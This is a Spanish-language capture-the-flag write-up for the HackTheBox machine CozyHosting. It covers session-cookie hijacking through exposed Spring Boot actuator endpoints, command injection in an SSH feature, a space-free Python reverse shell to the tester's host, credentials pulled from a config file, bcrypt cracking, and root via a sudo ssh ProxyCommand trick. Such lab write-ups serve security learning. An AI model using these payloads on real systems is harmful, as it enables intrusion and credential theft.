Cozyhosting corre una aplicacion con Spring Boot, encontramos un endpoint que nos permitio obtener una cookie que nos permitio acceder al panel de administracion de la aplicacion lo que nos llevo a la ejecucion de comandos y una shell. Tras analizar los archivos de la aplicacion logramos acceder a la base de datos, conseguimos credenciales lo que nos dio acceso por SSH. Finalemente escalamos privilegios utilizando SSH.
Nombre |
CozyHosting |
OS |
Linux |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.11.230 |
Maker |
commandercool |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.1, 5.1, 5.2, 4.8, 4.9],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.93 scan initiated Sat Sep 2 22:13:09 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.129.105.176
Nmap scan report for 10.129.105.176
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_ 256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 2 22:13:18 2023 -- 1 IP address (1 host up) scanned in 9.55 seconds
|
Web Site
El sitio web nos redirige al dominio cozihosting.htb
el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
9
10
|
π ~/htb/cozyhosting ❯ curl -sI 10.129.105.176
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 03 Sep 2023 02:14:48 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://cozyhosting.htb
π ~/htb/cozyhosting ❯
|
El sitio del dominio muestra una pagina estatica.
Directory Brute Forcing
feroxbuster
muestra multiples direcciones, aunque todo apunta a los recursos del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
π ~/htb/cozyhosting ❯ feroxbuster -u http://cozyhosting.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cozyhosting.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
204 GET 0l 0w 0c http://cozyhosting.htb/logout
401 GET 1l 1w 97c http://cozyhosting.htb/admin
200 GET 29l 131w 11970c http://cozyhosting.htb/assets/img/pricing-free.png
200 GET 38l 135w 8621c http://cozyhosting.htb/assets/img/favicon.png
200 GET 43l 241w 19406c http://cozyhosting.htb/assets/img/pricing-business.png
200 GET 38l 135w 8621c http://cozyhosting.htb/assets/img/logo.png
200 GET 81l 517w 40968c http://cozyhosting.htb/assets/img/hero-img.png
200 GET 79l 519w 40905c http://cozyhosting.htb/assets/img/values-2.png
200 GET 34l 172w 14934c http://cozyhosting.htb/assets/img/pricing-starter.png
200 GET 1l 218w 26053c http://cozyhosting.htb/assets/vendor/aos/aos.css
200 GET 1l 313w 14690c http://cozyhosting.htb/assets/vendor/aos/aos.js
200 GET 29l 174w 14774c http://cozyhosting.htb/assets/img/pricing-ultimate.png
200 GET 295l 641w 6890c http://cozyhosting.htb/assets/js/main.js
200 GET 2397l 4846w 42231c http://cozyhosting.htb/assets/css/style.css
200 GET 83l 453w 36234c http://cozyhosting.htb/assets/img/values-3.png
500 GET 1l 1w 73c http://cozyhosting.htb/error
200 GET 7l 2189w 194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200 GET 7l 1222w 80420c http://cozyhosting.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 73l 470w 37464c http://cozyhosting.htb/assets/img/values-1.png
200 GET 14l 1684w 143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200 GET 1l 625w 55880c http://cozyhosting.htb/assets/vendor/glightbox/js/glightbox.min.js
200 GET 2018l 10020w 95609c http://cozyhosting.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css
200 GET 285l 745w 12706c http://cozyhosting.htb/index
200 GET 97l 196w 4431c http://cozyhosting.htb/login
200 GET 285l 745w 12706c http://cozyhosting.htb/
400 GET 1l 32w 435c http://cozyhosting.htb/[
400 GET 1l 32w 435c http://cozyhosting.htb/plain]
400 GET 1l 32w 435c http://cozyhosting.htb/]
400 GET 1l 32w 435c http://cozyhosting.htb/quote]
400 GET 1l 32w 435c http://cozyhosting.htb/extension]
400 GET 1l 32w 435c http://cozyhosting.htb/[0-9]
π ~/htb/cozyhosting ❯
|
En el /login vemos un formulario que solicita usuario y contrasena, sin embargo no conocemos ningun par valido.
Spring Boot
Una de las direcciones encontradas es /error, donde se observa un mensaje de error, investigamos este error y todo indica a un error de codigo 404 de Spring Boot (1, 2, 3).
Actuators
Sabiendo que Spring Boot se esta utilizando investigamos un poco sobre esta tecnologia, nos topamos con Actuators. Basicamente un actuator ayuda a monitorear y controlar la aplicacion mediante rutas que pueden ser habilitadas y unas cuantas ya integradas o por default. Podemos encontrar una lista de rutas o endpoints en la documentacion pudiendo crear un pequeno wordlist.
Tras ejecutar ffuf con el wordlist vemos que encontro el endpoint /actuator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
π ~/htb/cozyhosting ❯ ffuf -w ./actuators.txt -u http://cozyhosting.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://cozyhosting.htb/FUZZ
:: Wordlist : FUZZ: /home/kali/htb/cozyhosting/actuators.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 141ms]
* FUZZ: actuator
:: Progress: [26/26] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
π ~/htb/cozyhosting ❯
|
Al realizar una solicitud a /actuator observamos que existen otras rutas. /health muestra el estado de la aplicacion, /env informacion de la aplicacion aunque de forma ‘censurada’, /mappings muestra las rutas existentes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
π ~/htb/cozyhosting ❯ curl -s http://cozyhosting.htb/actuator | jq
{
"_links": {
"self": {
"href": "http://localhost:8080/actuator",
"templated": false
},
"sessions": {
"href": "http://localhost:8080/actuator/sessions",
"templated": false
},
"beans": {
"href": "http://localhost:8080/actuator/beans",
"templated": false
},
"health-path": {
"href": "http://localhost:8080/actuator/health/{*path}",
"templated": true
},
"health": {
"href": "http://localhost:8080/actuator/health",
"templated": false
},
"env": {
"href": "http://localhost:8080/actuator/env",
"templated": false
},
"env-toMatch": {
"href": "http://localhost:8080/actuator/env/{toMatch}",
"templated": true
},
"mappings": {
"href": "http://localhost:8080/actuator/mappings",
"templated": false
}
}
}
π ~/htb/cozyhosting ❯
|
Una de las rutas interesantes es /executessh que por su nombre ya tenemos una idea de que se trata de ejecucion de comandos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
[...]
{
"handler": "htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)",
"predicate": "{POST [/executessh]}",
"details": {
"handlerMethod": {
"className": "htb.cloudhosting.compliance.ComplianceService",
"name": "executeOverSsh",
"descriptor": "(Ljava/lang/String;Ljava/lang/String;Ljakarta/servlet/http/HttpServletResponse;)V"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [
"POST"
],
"params": [],
"patterns": [
"/executessh"
],
"produces": []
}
}
}
[...]
|
Finalmente /sessions donde muestra lo que parece ser una cookie, en este caso se describe la primera para el usuario kanderson.
1
2
3
4
5
6
|
π ~/htb/cozyhosting ❯ curl -s http://cozyhosting.htb/actuator/sessions | jq
{
"170E4D736792625045751B781AC9C9C7": "kanderson",
"CE45088C6AFC55E53BCFEC94D311F80F": "UNAUTHORIZED"
}
π ~/htb/cozyhosting ❯
|
Kanderson - Admin Panel
Reemplazamos la cookie existente en firefox utilizando Web Developer Tools -> Storage -> Cookies
luego nos dirigimos a /admin donde encontramos un dashboard.
En la parte de abajo vemos un formulario para agregar un host para una conexion por SSH.
Si intentamos agregar una nueva configuracion con direccion IP y usuario nos muestra un error.
User - app
Command Injection
Si revisamos la solicitud la realiza a /executessh por lo que es probable que este construyendo y ejecutando un comando utilizando ssh.
Tras manipular el parametro username encontramos que podemos ejecutar comandos en este caso un simple id
.
Shell
Intentamos ejecutar una shell inversa pero los espacios generan error por lo que utilizamos la ejecucion de una shell inversa sin espacios.
1
|
python3$IFS-c$IFS'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.18",1339));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
Tras enviar el comando logramos acceder como app en la maquina.
1
2
3
4
5
6
7
8
9
|
π ~/htb/cozyhosting ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.18] from cozyhosting.htb [10.129.105.176] 53812
$ whoami;id;pwd
whoami;id;pwd
app
uid=1001(app) gid=1001(app) groups=1001(app)
/app
$
|
User - Josh
En /app encontramos la aplicacion en .jar, copiamos esta y descomprimimos su contenido utilizando unzip.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$ ls
ls
cloudhosting-0.0.1.jar
$ cp cloudhosting-0.0.1.jar /dev/shm
cp cloudhosting-0.0.1.jar /dev/shm
$ cd /dev/shm
cd /dev/shm
$ ls
ls
cloudhosting-0.0.1.jar PostgreSQL.3550785872
$ unzip cloudhosting-0.0.1.jar
unzip cloudhosting-0.0.1.jar
Archive: cloudhosting-0.0.1.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF
[...]
extracting: BOOT-INF/lib/spring-boot-jarmode-layertools-3.0.2.jar
inflating: BOOT-INF/classpath.idx
inflating: BOOT-INF/layers.idx
$ ls
ls
BOOT-INF cloudhosting-0.0.1.jar META-INF org PostgreSQL.3550785872
$
|
Encontramos en application.properties
las credenciales para la base de datos postgres.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
$ pwd
pwd
/dev/shm/BOOT-INF/classes
$ ls -lah
ls -lah
total 4.0K
drwxr-xr-x 5 app app 120 Aug 10 23:22 .
drwxr-xr-x 4 app app 120 Aug 10 23:22 ..
-rw-r--r-- 1 app app 551 Aug 10 23:22 application.properties
drwxr-xr-x 3 app app 60 Aug 10 23:22 htb
drwxr-xr-x 3 app app 60 Aug 10 23:22 static
drwxr-xr-x 2 app app 100 Aug 10 23:22 templates
$ cat application.properties
cat application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
$
$
|
Tras acceder por postgres vemos cuatro bases de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
$ psql -U postgres -p 5432 -h localhost
psql -U postgres -p 5432 -h localhost
Password for user postgres: Vg&nvzAQ7XxR
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=# \l
\l
WARNING: terminal is not fully functional
Press RETURN to continue
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privil
eges
-------------+----------+----------+-------------+-------------+----------------
-------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
| | | | | postgres=CTc/po
stgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
| | | | | postgres=CTc/po
stgres
(4 rows)
(END)q
postgres=#
|
Listamos las tablas de cozyhosting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
postgres=# \c cozyhosting
\c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
(END)q
cozyhosting=#
|
La tabla users muestra que almacena un nombre y contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
cozyhosting=#
cozyhosting=# \d+ users
\d+ users
WARNING: terminal is not fully functional
Press RETURN to continue
Table "public.users"
Column | Type | Collation | Nullable | Default | Storage |
Compression | Stats target | Description
----------+------------------------+-----------+----------+---------+----------+
-------------+--------------+-------------
name | character varying(50) | | not null | | extended |
| |
password | character varying(100) | | not null | | extended |
| |
role | role | | | | plain |
| |
Indexes:
"users_pkey" PRIMARY KEY, btree (name)
Referenced by:
TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERE
NCES users(name)
Access method: heap
(END)
(END)q
cozyhosting=#
|
Al obtener los datos de la tabla observamos dos hashes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue
name | password | role
-----------+--------------------------------------------------------------+-----
--
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)
(END)
(END)q
cozyhosting=#
|
Crack The Hash
Logramos obtener una contrasena tras ejecutar john.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/cozyhosting ❯ john hashes --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:26 DONE (2023-09-03 01:14) 0.03773g/s 105.9p/s 105.9c/s 105.9C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/cozyhosting ❯
|
Vemos que al usuario josh registrado en la maquina.
1
2
3
4
5
6
|
$ cat /etc/passwd | grep home
cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
app:x:1001:1001::/home/app:/bin/sh
josh:x:1003:1003::/home/josh:/usr/bin/bash
$
|
Shell
Utilizamos la contrasena con josh logrando acceder por SSH y obtener nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
π ~/htb/cozyhosting ❯ ssh josh@cozyhosting.htb # manchesterunited
josh@cozyhosting.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Sep 3 05:15:44 AM UTC 2023
System load: 0.0
Usage of /: 57.3% of 5.42GB
Memory usage: 32%
Swap usage: 0%
Processes: 252
Users logged in: 0
IPv4 address for eth0: 10.129.105.176
IPv6 address for eth0: dead:beef::250:56ff:feb0:b97d
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Tue Aug 29 09:03:34 2023 from 10.10.14.41
josh@cozyhosting:~$ whoami;id;pwd
josh
uid=1003(josh) gid=1003(josh) groups=1003(josh)
/home/josh
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ cat user.txt
e05592ac0b021a9c287ff9a004e585e9
josh@cozyhosting:~$
|
Privesc
Finalmente escalamos privilegios utilizando ssh lo que nos permitio realizar la lectura de la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
josh@cozyhosting:~$ sudo -l -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
Sudoers entry:
RunAsUsers: root
Commands:
/usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
d7fc0e222bb2c6f797412dc1cc47e4b1
#
|